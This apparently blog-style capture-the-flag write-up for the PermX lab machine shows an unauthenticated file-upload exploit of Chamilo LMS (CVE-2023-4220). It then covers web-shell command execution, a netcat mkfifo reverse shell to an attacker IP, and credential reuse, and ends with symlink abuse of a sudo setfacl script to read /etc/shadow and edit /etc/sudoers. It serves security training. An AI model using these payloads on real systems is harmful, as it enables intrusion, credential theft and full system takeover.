Post

PermX

Exploiting CVE-2023-4220 in the Chamilo LMS to gain remote code execution via an unauthenticated file upload. After initial access, the attack leverages a symlink attack on a vulnerable ACL script to escalate privileges and gain root access, capturing both user and root flags.

PermX

Machine

Room Card

  • Name: PermX
  • Summary: Exploiting CVE-2023-4220 in the Chamilo LMS to gain remote code execution via an unauthenticated file upload. After initial access, the attack leverages a symlink attack on a vulnerable ACL script to escalate privileges and gain root access, capturing both user and root flags.

Author

Initial Recon

Nmap Scan

Let’s start with a simple nmap scan.

1
2
3
4
5
6
7
8
9
10
11
m3ga@kali$ nmap -sS -Pn -v -p- -T4 -A -oN portscan.nmap 10.10.11.23
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 e2:5c:5d:8c:47:3e:d8:72:f7:b4:80:03:49:86:6d:ef (ECDSA)
|_  256 1f:41:02:8e:6b:17:18:9c:a0:ac:54:23:e9:71:30:17 (ED25519)
80/tcp open  http    Apache httpd 2.4.52
|_http-title: eLEARNING
| http-methods: 
|_  Supported Methods: POST OPTIONS HEAD GET
|_http-server-header: Apache/2.4.52 (Ubuntu)

Seems like there is a Apache webserver running on port 80 Let’s check it out…

The server redirects us to permx.htb.

b77b497341dc6c395762ef9bbe3f7dfa.png

Let’s add 10.10.11.23 permx.htb to our /etc/hosts

Finding Subdomains

After doing some enumeration on the website, I found two subdomains running. www and lms

1
2
3
4
5
6
7
8
m3ga@kali$ wfuzz -u "http://permx.htb" -H "Host: FUZZ.permx.htb" -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt -c --hc 302
...

=====================================================================
ID           Response   Lines    Word       Chars       Payload                            
=====================================================================
000000001:   200        586 L    2466 W     36182 Ch    "www"
000000477:   200        352 L    940 W      19347 Ch    "lms"

Let’s add 10.10.11.23 permx.htb www.permx.htb lms.permx.htb to our /etc/hosts file so we can access them.

The lms.permx.htb is running a web application called Chamilo

2e702e87eff4f9e37b1c71a343b94035.png

The Chamilo project was founded in early 2010 as a result of a fork from another free software e-learning platform, meant to protect the fundamental openness and free character of this LMS. It inherits indirectly from the Claroline project, first published in 2001. Although very little parts of the code of Chamilo still reflect that ancient history, the project philosophy never really changed: Chamilo is still one of the (if not the) easiest e-learning platform to use, making it easier for educators all around the world to digitalize and formalize their course content, and easier for all to get access to accessible education, improving the world’s social and economic growth.

Source: https://chamilo.org/en/chamilo-2/

At the bottom of the page, we can see who the administrator is and if we hover over the name, we can actually see admin’s email address as well.

06f0f5472a5e7c556b07a5504929c786.png

Davis Miller: admin@permx.htb

CVE-2023-4220

After doing some research on Chamilo, I found a somewhat recent CVE and an exploit for it made by m3m0o on GithHub.

CVE

Nist.gov - CVE-2023-4220

Unrestricted file upload in big file upload functionality in /main/inc/lib/javascript/bigupload/inc/bigUpload.php in Chamilo LMS <= v1.11.24 allows unauthenticated attackers to perform stored cross-site scripting attacks and obtain remote code execution via uploading of web shell.

Exploit

CVE-2023-4220 - m3m0o

This is a script written in Python that allows the exploitation of the Chamilo’s LMS software security flaw described in CVE-2023-4220. The system is vulnerable in versions preceding 1.11.24.

User Flag

Reverse shell

Let’s clone the exploit’s repo and test it out. The script can actually scan the target first before exploiting it which is always nice ;)

1
2
3
4
m3ga@kali$ git clone https://github.com/m3m0o/chamilo-lms-unauthenticated-big-upload-rce-poc.git
m3ga@kali$ cd chamilo-lms-unauthenticated-big-upload-rce-poc
m3ga@kali$ python3 main.py -u "http://lms.permx.htb" -a scan
[+] Target is likely vulnerable. Go ahead. [+]

The scan reuturns positive. Let’s test the exploit and see if it works!

1
2
3
4
5
6
m3ga@kali$ python3 main.py -u 'http://lms.permx.htb' -a webshell
Enter the name of the webshell file that will be placed on the target server (default: webshell.php): shell.php

[+] Upload successfull [+]

Webshell URL: http://lms.permx.htb/main/inc/lib/javascript/bigupload/files/shell.php?cmd=<command>

The upload was successful! The exploit provides us with the URL of the uploaded file. Let’s do a simple test to see if we can actually execute commands.

1
2
m3ga@kali$ curl -s 'http://lms.permx.htb/main/inc/lib/javascript/bigupload/files/shell.php?cmd=id'
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Yes we can! we can see that www-data as the user. Let’s try and get a reverse shell on it.

I will use this payload which always works for me.

1
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.16.2 53 >/tmp/f

Url-encoded

1
rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7Csh%20-i%202%3E%261%7Cnc%2010.10.16.2%2053%20%3E%2Ftmp%2Ff

Final Payload

1
$ curl -s 'http://lms.permx.htb/main/inc/lib/javascript/bigupload/files/shell.php?cmd=rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7Csh%20-i%202%3E%261%7Cnc%2010.10.16.2%2053%20%3E%2Ftmp%2Ff'

Perfect! We got a reverse shell :)

758183506dd5b2cebef5c4949cf137c9.png

Enumeration

Let’s see what users are on the system.

1
2
3
www-data@permx:$ grep '/bin/bash' /etc/passwd
root:x:0:0:root:/root:/bin/bash
mtz:x:1000:1000:mtz:/home/mtz:/bin/bash

mtz seems to be our next target. Let’s run linpeas and see what we can use to escalate our privileges.

Linpeas found these FTP Credentials but there is no FTP running on the system. I’m guessing this is just a standard configuration file.

e26b95d5a2660fec16a5cb8b8b2e8530.png

SSH as ‘mtz’

Linpeas found a $_configuration['db_password'] inside the file /var/www/chamilo/app/config/configuration.php

Let’s use grep to get all the information that could be useful to us.

1
2
3
4
5
6
7
8
9
www-data@permx:$ grep -i "db_pass" /var/www/chamilo/app/config/configuration.php --color -B 5 -A 10
// Database connection settings.
$_configuration['db_host'] = 'localhost';
$_configuration['db_port'] = '3306';
$_configuration['main_database'] = 'chamilo';
$_configuration['db_user'] = 'chamilo';
$_configuration['db_password'] = '[REDACTED]';
// Enable access to database management for platform admins.
$_configuration['db_manager_enabled'] = false;

I tried using the password to SSH with the user mtz and it worked!

We can find the user flag inside user.txt in mtz’s home directory!

1
2
3
4
5
6
7
8
9
10
m3ga@kali$ ssh mtz@permx.htb
mtz@permx.htb's password: [REDACTED]
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-113-generic x86_64)
...
mtz@permx:~$ id
uid=1000(mtz) gid=1000(mtz) groups=1000(mtz)
mtz@permx:~$ ls
user.txt
mtz@permx:~$ cat user.txt 
[REDACTED]

Root Flag

Enumeration

After checking what I can run with sudo, we find the /opt/acl.sh script which can be ran by us with root privileges.

1
2
3
4
5
6
mtz@permx:~$ sudo -l
Matching Defaults entries for mtz on permx:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User mtz may run the following commands on permx:
    (ALL : ALL) NOPASSWD: /opt/acl.sh

Let’s see if we can simply replace the contents of the file

1
2
mtz@permx:~$ ls -la /opt/acl.sh
-rwxr-xr-x 1 root root 419 Jun  5 11:58 /opt/acl.sh

NOPE! It’s owned by root and we have no write permission on the file nor the pattern directory.

Let’s see what the script is actually doing

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#!/bin/bash

if [ "$#" -ne 3 ]; then
    /usr/bin/echo "Usage: $0 user perm file"
    exit 1
fi

user="$1"
perm="$2"
target="$3"

if [[ "$target" != /home/mtz/* || "$target" == *..* ]]; then
    /usr/bin/echo "Access denied."
    exit 1
fi

# Check if the path is a file
if [ ! -f "$target" ]; then
    /usr/bin/echo "Target must be a file."
    exit 1
fi

/usr/bin/sudo /usr/bin/setfacl -m u:"$user":"$perm" "$target"

acl.sh - Code Breakdown

Let’s break the script down to understand it easier.

The script first check to see if exactly three arguments have been passed to it. If not, the usage message is shown followed by the script exiting.

1
2
3
4
if [ "$#" -ne 3 ]; then
    /usr/bin/echo "Usage: $0 user perm file"
    exit 1
fi

It then initializes three variables and stores the three provided command-line arguments in them.

1
2
3
user="$1" # The first commandline argument = the user
perm="$2" # The second commandline argument = the permission type
target="$3" # The third commandline argument = the target file

The provided target file is then checked by the script to see if it begins with /home/mtz and cleverly checks to see if the provided path contains ... If both conditions are true, then an Access denied. message is shown followed by the script exiting.

1
2
3
4
if [[ "$target" != /home/mtz/* || "$target" == *..* ]]; then
    /usr/bin/echo "Access denied."
    exit 1
fi

The script also check if the provided target path is a directory or not. If it is, the message Target must be a file is shown followed by the script exiting.

1
2
3
4
5
# Check if the path is a file
if [ ! -f "$target" ]; then
    /usr/bin/echo "Target must be a file."
    exit 1
fi

Finally, setfacl is used to give the selected user the provided permission type on the specified file.

1
/usr/bin/sudo /usr/bin/setfacl -m u:"$user":"$perm" "$target"

GeeksForGeeks - setfacl (set file access control lists)

In Linux distribution, setfacl stands for Set File Access Control List. It is a command utility tool for setting access control lists in files and directories. setfacl is a powerful tool for managing file permission based on respective Users and Groups rather than general file permission.

setfacl - MAN page The -m (–modify) and -M (–modify-file) options modify the ACL of a file or directory. ACL entries for this operation must include permissions.

As a summary, we are only able to modify file permissions inside /home/mtz and we can not do a path traversal attack with something like /home/mtz/../../etc/shadow

We can however, create soft links to the desired file on the system on put the link inside our home directory or any path which begins with /home/mtz. Then when we use this script, it might actually change the permission on the actual file.

To test this, let’s create a soft link of the /etc/shadow file inside our home directory /home/mtz. And then we would run the script and give ourselves read permissions.

1
2
3
4
5
6
7
mtz@permx:~$ ln -s /etc/shadow ./shadow
mtz@permx:~$ sudo /opt/acl.sh mtz r /home/mtz/shadow
mtz@permx:~$ cat ./shadow
root:$y$j9T$[REDACTED]
...
mtz:$y$j9T$[REDACTED]
...

We can successfully read the /etc/shadow file. Now there are some possibilities on how we can exploit this and get root access.

  1. You could grab the hashes and try to crack them
  2. You could give yourself write permission on /etc/shadow, generate a new hash and replace root’s hash with it.
  3. You can also make the /etc/sudoers file writable and give yourself the permission to run /bin/bash as root.

I choose the third option since it’s the quickest and easiest.

1
2
3
4
5
6
7
8
9
10
11
12
13
mtz@permx:~$ ln -s /etc/sudoers ./sudoers
mtz@permx:~$ sudo /opt/acl.sh mtz rw /home/mtz/sudoers
mtz@permx:~$ nano ./sudoers 
...
mtz ALL=(ALL) NOPASSWD: /bin/bash
...
mtz@permx:~$ sudo -l
Matching Defaults entries for mtz on permx:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User mtz may run the following commands on permx:
    (ALL : ALL) NOPASSWD: /opt/acl.sh
    (ALL) NOPASSWD: /bin/bash

Now let’s run /bin/bash with sudo and grab our final flag.

1
2
3
4
5
6
mtz@permx:~$ sudo /bin/bash
root@permx:/home/mtz# cd
root@permx:~# ls
backup  reset.sh  root.txt
root@permx:~# cat root.txt 
[REDACTED]

Outro

This room was pretty fun. Even though it was easy and was solved pretty quickly by me, it still felt good to pwn it.

Many thanks to the creator of this machine, mtzsec.

- m3gakr4nus

This post is licensed under CC BY 4.0 by the author.